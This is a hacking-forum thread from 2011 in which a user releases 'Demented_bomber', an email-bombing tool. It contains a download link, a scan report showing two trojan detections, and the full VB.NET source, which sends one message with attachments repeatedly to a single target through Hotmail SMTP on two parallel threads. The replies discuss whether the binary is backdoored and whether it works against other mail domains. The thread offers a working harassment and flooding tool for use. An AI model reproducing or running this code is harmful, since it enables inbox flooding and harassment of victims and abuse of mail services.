Demented_bomber [email bomber]

White Charisma · 01-30-2011, 08:11 PM

my first bomber

bugs: goes to junk [sorry]
maybe more, please leave feedback =)

dll link: http://uppit.com/udhf9m1oaile/Demented_Bomber.zip

virus scan

File Info

Report date: 2011-01-30 19:45:37 (GMT 1)
File name: demented-bomber-zip
File size: 481845 bytes
MD5 Hash: b536c3edc6fa2f36f8c701da9ef8ca7c
SHA1 Hash: 2f11491e576ae354b059cf5746b3876ebec2e862
Detection rate: 2 on 16 (13%)
Status: INFECTED

Detections

a-squared - Trojan-Spy.MSIL!IK
Avast -
AVG -
Avira AntiVir -
BitDefender -
ClamAV -
Comodo -
Dr.Web -
F-PROT6 -
Ikarus T3 - Trojan-Spy.MSIL
Kaspersky -
NOD32 -
Panda -
TrendMicro -
VBA32 -
VirusBuster -

Scan report generated by
NoVirusThanks.org

idk why its 2 detected but if you dont wanna use it thats okay Smile

pic:

enjoy

credits: Coder-San -- for immense help and support Wink

Nathan72389 -- the bomber tut
(--S7N--) -- for the other bomber tut

most was made by me though Tongue

did i forget anything?

1234hotmaster · 01-30-2011, 08:15 PM

nice tool but i don't think a bomber is detected as a badware...

1llusion · 01-30-2011, 08:15 PM

About virus scan, what kind of code obfuscator you used? Biggrin

hm its a source...

I'm a bit scared to open the source, since even sources can be backdoored (sorry mate, but its my old paranoia)

If you can send me the source pasted in code tags through PM I can check what is detected Smile

White Charisma · 01-30-2011, 08:22 PM

lol@Sage, thought someone would love the GUI =)

ill post the source here idc

Code:
Imports System.Net.Mail
Public Class Demented_bomber
    Dim sendammount As Integer = 0
    Dim sendammount1 As Integer = 0
    Dim sendammountdevided As Integer
    Dim p As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Me.Close()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        BackgroundWorker1.CancelAsync()
        BackgroundWorker2.CancelAsync()
    End Sub
    Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
        ProgressBar1.Value = e.ProgressPercentage * 2
    End Sub
    Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        sendammountdevided = 0
        sendammount1 = 0
        sendammount = 0
        ProgressBar1.Value = 0
        ProgressBar1.Update()
        If NumericUpDown1.Value Mod 2 <> 0 Then
            NumericUpDown1.Text = NumericUpDown1.Text + 1
            NumericUpDown1.Update()
        End If
        MsgBox("meh, i hate odd numbers lad ;]" & vbNewLine & "so your gonna be sendin" & NumericUpDown1.Value & ".")
        sendammountdevided = NumericUpDown1.Value / 2
        Button1.Enabled = False
        Button3.Enabled = False
        Button2.Enabled = True
        BackgroundWorker1.RunWorkerAsync()
        BackgroundWorker2.RunWorkerAsync()
        ProgressBar1.Maximum = NumericUpDown1.Value
        ProgressBar1.Value = 0
        TestWorker = New System.ComponentModel.BackgroundWorker
    End Sub

    Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
        Dim MyMailMessage1 As New MailMessage()
        MyMailMessage1.From = New MailAddress(TextBox1.Text)
        MyMailMessage1.To.Add(TextBox3.Text)
        MyMailMessage1.Subject = (TextBox4.Text)
        MyMailMessage1.Body = TextBox5.Text
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage1.Attachments.Add(Attach)
        Next
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 25
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount = sendammountdevided
            If BackgroundWorker1.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage1)
            sendammount = sendammount + 1
            BackgroundWorker1.ReportProgress(sendammount, sendammount)
        Loop
        MsgBox("Done!")
    End Sub

    Private Sub BackgroundWorker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(TextBox1.Text)
        MyMailMessage.To.Add(TextBox3.Text)
        MyMailMessage.Subject = (TextBox4.Text)
        MyMailMessage.Body = TextBox5.Text
        Dim SMTPServer As New SmtpClient("smtp.live.com")
        SMTPServer.Port = 25
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage.Attachments.Add(Attach)
        Next
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount1 = sendammountdevided
            If BackgroundWorker2.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage)
            sendammount1 = sendammount1 + 1
        Loop
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        OpenFileDialog1.ShowDialog()
    End Sub

    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
        For Each track As String In OpenFileDialog1.FileNames
            ListBox1.Items.Add(track)

        Next
    End Sub
    Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted
        Button1.Enabled = True
        Button3.Enabled = True
        Button2.Enabled = False
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        MessageBox.Show("LOL jk you shouldnt have clicked me")
        Me.Close()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If Me.Opacity < 1 Then Me.Opacity += 0.01 Else Timer1.Stop()
    End Sub
End Class

edit: no obfuscator used, idk why its detected >.<

1llusion · 01-30-2011, 08:28 PM

hm... I have the feeling, the code for e-mail sending is detected... Might be wrong Smile

White Charisma · 01-30-2011, 08:33 PM

idk

will u dll it? Smile

sandbox it if u want lol idc

1llusion · 01-30-2011, 08:46 PM

(01-30-2011, 08:33 PM)D1G1T4LM4N_616 Wrote: idk

will u dll it?

sandbox it if u want lol idc

laterz, got to learn geography... writing a test tomorrow :/

White Charisma · 01-30-2011, 09:07 PM

Okay, but, guys, trust me this aint infected Smile

Post feedback Biggrin

Spoon · 02-09-2011, 12:12 PM

I've downloaded it. I tried spamming myself it worked but I was wondering if this worked on all domain names.
Such as "@live.com" "@yahoo.com" "@Gmail.com" "@info.com" and even on webserver domains example "@mail.facebook.com" "sds.edu.uk" ect..

Rocky_mybb_import5958 · 02-09-2011, 12:23 PM

nice tools

tools icon was Vipre antivirus protection [snakes]
cool

Demented_bomber [email bomber]
Author Message